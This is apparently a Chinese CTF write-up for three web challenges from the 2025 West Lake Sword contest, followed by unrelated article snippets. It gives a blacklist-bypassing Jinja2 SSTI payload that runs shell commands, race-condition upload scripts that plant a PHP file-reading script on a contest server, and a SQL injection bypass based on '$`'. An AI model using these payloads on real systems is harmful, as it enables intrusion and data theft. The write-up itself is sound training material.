【Web】2025西湖论剑·中国杭州网络安全安全技能大赛题解(全)
目录
Rank-l
Rank-U
sqli or not
Rank-l
username存在报错回显,发现可以打SSTI
本地起一个服务,折半查找fuzz黑名单,不断扔给fenjing去迭代改payload
from flask import Flask, request, render_template_stringapp = Flask(__name__)@app.route('/input', methods=['GET', 'POST'])
def user_input():if request.method == 'POST':# 从POST请求的表单数据中获取用户输入user_input = request.form.get('user_input', '')# 检查输入中是否包含不允许的符号if any(char in user_input for char in ['+', '/', '*','"','\\','{%','%}','urlencode','mod']):return "输入中包含不允许的字符。", 400 # 返回错误信息# 如果输入不包含不允许的符号,使用render_template_stringtemplate = "<h1>用户输入的内容是:{{ input }}</h1>"return render_template_string(template, input=user_input)# 如果是GET请求,显示一个表单return '''<form method="POST"><label for="user_input">请输入内容:</label><input type="text" id="user_input" name="user_input"><button type="submit">提交</button></form>'''if __name__ == '__main__':app.run(host="0.0.0.0",port=1338,debug=True)
payload:
{{cycler.next.__globals__.__builtins__.__import__('os').popen(lipsum['__glob''al''s__']['__builti''ns__']['chr'](37).__add__('c').__mul__(7)|format(116,97,99,32,47,102,42)).read()}}
Rank-U
burpsuite默认字典爆出密码(302的很多都可以登)
登进去是一个任意文件上传,上传后访问是404,文件被立刻删除
打条件竞争
import requestswhile True:burp0_url = "http://139.155.126.78:30675/admin/index.php" # 更新 URLburp0_cookies = {"PHPSESSID": "bsgq3v7goubrk1ciepr0se2dfc"} # 更新 PHP 会话 IDburp0_data = ("------WebKitFormBoundarygIbPTT5pJVbv72RS\r\n""Content-Disposition: form-data; name=\"file_upload\"; filename=\"yjh3.php\"\r\n""Content-Type: application/octet-stream\r\n\r\n""<?php echo file_get_contents('/flag');?>\r\n" # 改为新代码"------WebKitFormBoundarygIbPTT5pJVbv72RS--\r\n")# 发送 POST 请求,只保留 Cookier = requests.post(burp0_url, cookies=burp0_cookies, data=burp0_data)# 提取文件名并保存到本地文件try:filename = r.text.split('./Uploads/1f14bba00da3b75118bc8dbf8625f7d0/')[1].split('</p>')[0]with open('name.txt', 'w') as file:file.write(filename.strip()) # 使用 strip() 去除可能的换行符except IndexError:print("无法提取文件路径或文件上传失败")
import requestsurl0 = 'http://139.155.126.78:30675/admin/Uploads/1f14bba00da3b75118bc8dbf8625f7d0/'while True:# 直接读取文件内容,去除换行符并逐行处理with open('name.txt', 'r') as file:for filename in file:shellpath = url0 + filename.strip() # 使用 strip() 去除换行符# 发起 GET 请求r1 = requests.get(shellpath)# 如果状态码不是 404,输出状态码和响应文本if r1.status_code != 404:print(r1.status_code)print(r1.text)
第一个脚本多运行几个,同时用第二个脚本读到flag
sqli or not
逗号的绕过参考ctfshow web344
【Web】Ctfshow Nodejs刷题记录_ctfshowweb nodejs-CSDN博客
replace的绕过参考
String.prototype.replace() - JavaScript | MDN
引号被ban只要用前面自带的引号就行
本地搭一个服务查看替换后拼接的sql语句,发现成功闭合
var express = require('express');
var app = express(); // 使用 app 而不是 router 来启动服务
var router = express.Router();
module.exports = router;app.use(router);router.get('/', (req, res, next) => {if (req.query.info) {if (req.url.match(/\,/ig)) {res.end('hacker1!');}var info = JSON.parse(req.query.info);// 合并所有信息并一次性回显let responseContent = `Parsed info: ${JSON.stringify(info)}<br>`;if (info.username && info.password) {var username = info.username;var password = info.password;if (info.username.match(/\'|\"|\\/) || info.password.match(/\'|\"|\\/)) {responseContent += 'hacker2!<br>';}var sql = "select * from userinfo where username = '{username}' and password = '{password}'";sql = sql.replace("{username}", username);sql = sql.replace("{password}", password);// 合并生成的 SQL 查询语句responseContent += `Generated SQL: ${sql}<br>`;} else {responseContent += "please input the data<br>";}// 一次性回显所有内容res.send(responseContent);} else {res.end("please input the data");}
});// 指定端口启动服务器
const port = 4000; // 设置端口为 4000
app.listen(port, () => {console.log(`Server running on port ${port}`);
});
payload:
?info={"username":"$`+or+1=1--+"&info="password":"123456"}
打入,下载flag文件
相关文章:
【Web】2025西湖论剑·中国杭州网络安全安全技能大赛题解(全)
目录 Rank-l Rank-U sqli or not Rank-l username存在报错回显,发现可以打SSTI 本地起一个服务,折半查找fuzz黑名单,不断扔给fenjing去迭代改payload from flask import Flask, request, render_template_stringapp Flask(__name__)app…...
openharmony应用开发快速入门
开发准备 本文档适用于OpenHarmony应用开发的初学者。通过构建一个简单的具有页面跳转/返回功能的应用(如下图所示),快速了解工程目录的主要文件,熟悉OpenHarmony应用开发流程。 在开始之前,您需要了解有关OpenHarmon…...
解决npm install安装出现packages are looking for funding run `npm fund` for details问题
当我们运行npm install时,可能会收到类似以下的提示信息:“x packages are looking for funding.” 这并不是错误提示,也不会影响项目的正常运行。其实实在提醒有一些软件包正在寻求资金支持。 根据提示输入npm fund可以查看详细的信息&#…...
python助力WRF自动化运行
对大部分人而言,特别是新用户,WRF模式的安装繁琐且不必要,可以作为后续进阶掌握的技能,本学习跳过繁琐的安装步骤,直接聚焦模式的运行部分,通过短平快的教学,快速掌握模式运行。进一步将python语…...
Go-知识 版本演进
Go-知识 版本演进 Go release notesr56(2011/03/16)r57(2011/05/03)Gofix 工具语言包工具小修订 r58(2011/06/29)语言包工具小修订 r59(2011/08/01)语言包工具 r60(2011/09/07)语言包工具 [go1 2012-03-28](https://golang.google.cn/doc/devel/release#go1)[go1.1 2013-05-13]…...
企业级NoSQL数据库Redis
1.浏览器缓存过期机制 1.1 最后修改时间 last-modified 浏览器缓存机制是优化网页加载速度和减少服务器负载的重要手段。以下是关于浏览器缓存过期机制、Last-Modified 和 ETag 的详细讲解: 一、Last-Modified 头部 定义:Last-Modified 表示服务器上资源…...
Android渲染Latex公式的开源框架比较
对比主流框架,介绍如下几款 1、AndroidMath 官网:https://github.com/gregcockroft/AndroidMath/tree/master 基于android原生view方式渲染 优点:速度快,开源协议 MIT license 缺点:不支持文字公式混合渲染 2、Ma…...
ARM学习(42)CortexM3/M4 MPU配置
笔者之前学习过CortexR5的MPU配置,现在学习一下CortexM3/M4 MPU配置 1、背景介绍 笔者在工作中遇到NXP MPU在访问异常地址时,就会出现总线挂死,所以需要MPU抓住异常,就需要配置MPU。具体背景情况可以参考ARM学习(41)NXP MCU总线挂死,CPU could not be halted以及无法连…...
Sam Altman亲自确认:o3-mini即将上线!GPT和o系列模型合并!
大家好,我是木易,一个持续关注AI领域的互联网技术产品经理,国内Top2本科,美国Top10 CS研究生,MBA。我坚信AI是普通人变强的“外挂”,专注于分享AI全维度知识,包括但不限于AI科普,AI工…...
数据结构-队列
目录 前言一、队列及其抽象数据类型1.1 队列的基本概念1.2 队列的抽象数据类型 二、队列的实现2.1 顺序表示2.1.1 结构定义2.1.2 基本操作的实现 2.2 链式表示2.2.1 结构定义2.2.2 基本操作的实现 总结 前言 本篇文章介绍队列的基础知识,包括队列的抽象数据类型以及…...
Go Map 源码分析(一)
Go语言中的map是通过哈希表实现的,其底层结构和实现机制如下: 一、hash 结构 hmap结构体:是map的头部结构,主要字段及含义如下: count:表示当前哈希表中的元素数量,与len()函数相对应。flags…...
天机学堂5-XxlJobRedis
文章目录 梳理前面的实现:Feign点赞改进 day07-积分系统bitmap相关命令签到增加签到记录计算本月已连续签到的天数查询签到记录 积分表设计签到-->发送RabbitMQ消息,保存积分对应的消费者:**消费消息 用于保存积分**增加积分查询个人今日积…...
SpringBoot整合junit
SpringBoot 整合 junit 特别简单,分为以下三步完成: 1在测试类上添加 SpringBootTest 注解2使用 Autowired 注入要测试的资源3定义测试方法进行测试 1.实验准备: 创建一个名为 springboot_junit_test 的 SpringBoot 工程,工程目录结构如下…...
Jenkins-pipeline Jenkinsfile说明
一. 简介: Jenkinsfile 是一个文本文件,通常保存在项目的源代码仓库中,用于定义 Jenkins Pipeline 的行为。使用 Jenkinsfile 可以使 CI/CD 流程版本化,并且易于共享和审核。 二. 关于jenkinsfile: jenkins的pipeline…...
SpringMVC 实战指南:打造高效 Web 应用的秘籍
第一章:三层架构和MVC 三层架构: 开发服务器端,一般基于两种形式,一种 C/S 架构程序,一种 B/S 架构程序使用 Java 语言基本上都是开发 B/S 架构的程序,B/S 架构又分成了三层架构三层架构: 表现…...
结合帧级边界检测和深度伪造检测,定位部分伪造音频攻击中的篡改区域
Integrating frame-level boundary detection and deepfake detection for locating manipulated regions in partially spoofed audio forgery 摘要: 部分伪造音频是一种深度伪造的变体,它通过引入伪造或外部来源的善意音频片段来操纵音频语句…...
人工智能之深度学习_[2]-PyTorch入门
文章目录 PyTorch1.PyTorch简介1.1 什么是PyTorch1.2 PyTorch特点1.3 PyTorch发展历史 2 张量创建2.1 什么是张量2.2 基本创建方式2.3 线性和随机张量2.4 0、1、指定值张量2.5 指定元素类型张量 3 张量类型转换3.1 张量转换为NumPy数组3.2 NumPy数组转换为张量3.3 提取标量张量…...
vue2与vue3的区别
目录 1. 性能 2. 组合式 API 3. 生命周期钩子 4. 片段(Fragments) 5. 递归组件 6. 自定义渲染器 7. 全局 API 8. 组件内部的 this 9. 模板语法 10. 兼容性 总结 Vue 2 和 Vue 3 是 Vue.js 框架的两个主要版本,它们在多个方面有所不…...
八股学习 Mysql
八股学习 Mysql 常见面试问题优化其他 定位慢查询方案一:开源工具方案二:MySQL自带慢日志 SQL执行计划示例场景名词解释 索引概念底层数据结构聚簇索引、二级索引(非聚簇索引)覆盖索引覆盖索引应用场景创建原则索引失效 SQL优化表…...
主从复制
简述mysql 主从复制原理及其工作过程,配置一主两从并验证。 主从原理:MySQL 主从同步是一种数据库复制技术,它通过将主服务器上的数据更改复制到一个或多个从服务器,实现数据的自动同步。 主从同步的核心原理是将主服务器上的二…...
服务器数据恢复—Zfs文件系统数据恢复案例
服务器数据恢复环境&故障: 一台zfs文件系统的服务器,管理员误操作删除了服务器上的数据。 服务器数据恢复过程: 1、将故障服务器中所有硬盘做好标记后取出,硬件工程师检测后没有发现有硬盘存在硬件故障。以只读方式将所有硬盘…...
Linux安装docker,安装配置xrdp远程桌面
Linux安装docker,安装配置xrdp远程桌面。 1、卸载旧版本docker 卸载旧版本docker命令 yum remove docker \docker-client \docker-client-latest \docker-common \docker-latest \docker-latest-logrotate \docker-logrotate \docker-engine现在就是没有旧版本的d…...
Windows11电脑总是一闪一闪的,黑一下亮一些怎么解决
Windows11电脑总是一闪一闪的,黑一下亮一些怎么解决 1. 打开设备管理器2. 点击显示适配器3. 更新下方两个选项的驱动3.1 更新驱动Inter(R) UHD Graphixs3.2 更新驱动NVIDIA GeForce RTX 4060 Laptop GPU 4. 其他文章快来试试吧🥰 1. 打开设备管理器 在电…...
Low-Level 大一统:如何使用Diffusion Models完成视频超分、去雨、去雾、降噪等所有Low-Level 任务?
Diffusion Models专栏文章汇总:入门与实战 前言:视频在传输过程中常常因为各种因素(如恶劣天气、噪声、压缩和传感器分辨率限制)而出现质量下降,这会严重影响计算机视觉任务(如目标检测和视频监控)的性能。现有的视频修复方法虽然取得了一些进展,但通常只能针对特定的退…...
使用 Blazor 和 Elsa Workflows 作为引擎的工作流系统开发
开发一个完整的工作流系统使用 Blazor 和 Elsa Workflows 作为引擎,可以实现一个功能强大的工作流管理和设计系统。下面将提供详细的步骤和代码实现,展示如何在 Blazor 中开发一个基于 Elsa Workflows 的工作流系统。 项目概述 我们的工作流系统将包含以…...
调试Hadoop源代码
个人博客地址:调试Hadoop源代码 | 一张假钞的真实世界 Hadoop版本 Hadoop 2.7.3 调试模式下启动Hadoop NameNode 在${HADOOP_HOME}/etc/hadoop/hadoop-env.sh中设置NameNode启动的JVM参数,如下: export HADOOP_NAMENODE_OPTS"-Xdeb…...
mkv转码mp4(ffmpeg工具)
基于windows,Linux也可以用,都是命令行 下载路径(https://github.com/BtbN/FFmpeg-Builds/releases) 下载安装包:ffmpeg-n6.1-latest-win64-lgpl-6.1.zip,(根据自己的平台选择下载)并…...
前端项目搭建和基础配置
这个模块主要是介绍从零开始搭建项目的一些操作,包含一些前端常用的配置,这里只是一部分,会在后续的文章中逐步进行补充和完善 一、创建项目 在项目路径下使用以下命令生成前后端项目 npm create vite输入项目名称,框架选择Vue…...
计算机网络 (49)网络安全问题概述
前言 计算机网络安全问题是一个复杂且多维的领域,它涉及到网络系统的硬件、软件以及数据的安全保护,确保这些元素不因偶然的或恶意的原因而遭到破坏、更改或泄露。 一、计算机网络安全的定义 计算机网络安全是指利用网络管理控制和技术措施,保…...
【Qt】02-信号与槽函数
发生的原因与事件 前言一、什么是信号与槽(Signals and Slots)?1.1 信号(Signals)1.2 槽(Slots)1.3 连接方式 二、调用基本的信号与槽函数2.1 代码分析connect()的用法 2.2 结果展示 三、自定义…...
CVPR 2024 机器学习方向总汇(多任务、联邦学习、迁移学习和对抗等)
1、Machine Learning(机器学习)多任务、联邦学习、迁移学习和对抗等 Molecular Data Programming: Towards Molecule Pseudo-labeling with Systematic Weak Supervision 👍摘要Improving Physics-Augmented Continuum Neural Radiance Field-Based Geometry-Agnos…...
spring中bean的循环依赖细节描述
首先,循环依赖不是一件好事,设计上几乎不会这么设计。但是总有时候要碰到一起奇怪的循环依赖。 spring bean循环依赖之所以能实现,也是有条件的,构造函数的依赖显然不行。而bean生命周期的实例化和属性设置是分阶段的,…...
LeetCode - #187 Swift 实现重复的DNA序列
网罗开发 (小红书、快手、视频号同名) 大家好,我是 展菲,目前在上市企业从事人工智能项目研发管理工作,平时热衷于分享各种编程领域的软硬技能知识以及前沿技术,包括iOS、前端、Harmony OS、Java、Python等…...
【gin】gin中使用protbuf消息传输go案例
在 Gin 中使用 Protobuf 进行高效消息传输 Protobuf(Protocol Buffers)是一种高效的二进制序列化协议,广泛用于高性能场景的数据传输。相比 JSON,Protobuf 具有更小的体积和更快的解析速度,非常适合服务间通信或前后端…...
Vue.js 动态设置表格最大高度的实现
概述 在现代 Web 开发中,响应式设计至关重要,尤其是在处理复杂的布局和数据表格时。表格通常会受到多种因素的影响,如分页、合计行或动态内容,这可能导致表格高度的变化。本文将介绍一个基于 Vue.js 的方法 setMaxHeight…...
Springboot 注解缓存使用教程
Spring Boot Cache 注解使用教程 Spring Boot 提供了强大的缓存抽象,开发者可以通过注解快速实现缓存功能,从而提高系统性能。本教程将全面介绍 Spring Boot 提供的缓存相关注解及其作用,并结合示例讲解实际应用。 1. 常用缓存注解概览 Spring Boot 缓存提供以下核心注解…...
TCP协议与TCP SYN Flood攻击
✍作者:柒烨带你飞 💪格言:生活的情况越艰难,我越感到自己更坚强;我这个人走得很慢,但我从不后退。 📜系列专栏:网络安全从菜鸟到飞鸟的逆袭 目录 一, TCP握手二…...
Cloud Foundry,K8S,Mesos Marathon弹性扩缩容特性对比
一、Cloud Foundry 使用Scaling an Application Using App Autoscaler插件,基于资源使用情况触发简单扩缩容 CPU、内存、Http带宽、延时等 监控这些资源的使用情况决定扩缩容策略:实例是增加还是减少 Instance Limits 限制实例数量范围,定义…...
python轻量级框架-flask
简述 Flask 是 Python 生态圈中一个基于 Python 的Web 框架。其轻量、模块化和易于扩展的特点导致其被广泛使用,适合快速开发 Web 应用以及构建小型到中型项目。它提供了开发 Web 应用最基础的工具和组件。之所以称为微框架,是因为它与一些大型 Web 框架…...
Git实用指南:忽略文件、命令别名、版本控制、撤销修改与标签管理
目录 1.忽略特殊文件 1.1.那如何配置我们需要忽略的文件的呢? 1.2.如何检验效果? 2.给命令配置别名 3.基本操作之版本回退 3.1.使用场景: 3.2.使用方法: 4.撤销修改 情况一:对于工作区的代码,还没…...
神经网络常见面试题
梯度消失和梯度爆炸 1. 梯度消失(Vanishing Gradient) 定义: 梯度消失是指在反向传播过程中,梯度逐渐变得非常小,导致前面几层的权重更新非常缓慢,甚至几乎不更新,从而影响网络的学习过程。特…...
数据结构漫游记:动态实现栈(stack)
嘿,各位技术潮人!好久不见甚是想念。生活就像一场奇妙冒险,而编程就是那把超酷的万能钥匙。此刻,阳光洒在键盘上,灵感在指尖跳跃,让我们抛开一切束缚,给平淡日子加点料,注入满满的pa…...
PyTorch使用教程- Tensor包
### PyTorch使用教程- Tensor包 PyTorch是一个流行的深度学习框架,它提供了一个易于使用的API来创建和操作张量(Tensors)。张量是一个多维数组,类似于NumPy中的ndarray,但它是基于GPU的,支持自动求导。本文…...
在 Vue 3 项目中集成和使用 vue3-video-play
前言 随着视频内容的普及,视频播放功能在现代 Web 应用中变得越来越重要。如果你正在开发一个 Vue 3 项目,并且需要快速集成视频播放功能,vue3-video-play 是一个轻量级且易于使用的 Vue 3 组件。本文将介绍如何在 Vue 3 项目中使用 vue3-vi…...
02_登录窗口
新建场景 重命名为GameRoot 双击GameRoot进入新场景 同样摄像机清除格式 删除平行光并关闭渲染灯光的天空盒 新建空节点重命名为GameRoot GameRoot为游戏的根节点 在整个游戏中都不会被删除 在游戏的根节点下创建UI的根节点Canvas 创建一个空节点 作为UI根节点下的 登录场景UI…...
基于 JFinal 的国产微服务框架
Jboot 是一个基于 JFinal、Dubbo、Seata、Sentinel、ShardingSphere、Nacos 等开发的国产框架。 其特点是: 1、基于 JFinal 完整的 MVC ORM 支持。2、支持多数据源、分库分表和分布式事务。3、支持 Dubbo RPC 的完整功能,有超过 1亿 用户产品正在使用…...
ASP.NET Core - 配置系统之配置提供程序
ASP.NET Core - 配置系统之配置提供程序 3. 配置提供程序3.1 文件配置提供程序3.1.1 JSON配置提供程序3.1.2 XML配置提供程序3.1.3 INI配置提供程序 3.2 环境变量配置提供程序3.3 命令行配置提供程序3.4 内存配置提供程序3.5 配置加载顺序 3.6 默认配置来源 3. 配置提供程序 前…...
Axios 封装:处理重复调用与内容覆盖问题
问题描述&背景 下拉选择框,支持搜索,搜索时携带参数调用接口并更新下拉选项下拉选择连续进行多次搜索,先请求但响应时间长的返回值会覆盖后请求但响应时间短的举例: 搜索后先清空选项,再输入内容进行搜索。清空后…...
MySQL程序之:使用DNS SRV记录连接到服务器
在域名系统(DNS)中,SRV记录(服务位置记录)是一种资源记录,它使客户端能够指定指示服务、协议和领域的名称。DNS查找该名称会返回一个回复,其中包含该领域中提供所需服务的多个可用服务器的名称。…...
Swift Parameter-free Attention Network模型详解及代码复现
研究动机 在深度学习领域,超分辨率技术的发展面临着 模型复杂度与推理速度 之间的权衡。传统的基于注意力的超分辨率网络虽然能提高性能,但往往需要较大的感受野和参数化的注意力图,这可能导致推理速度下降。 为了解决这一问题,研究人员提出了Swift Parameter-free Atten…...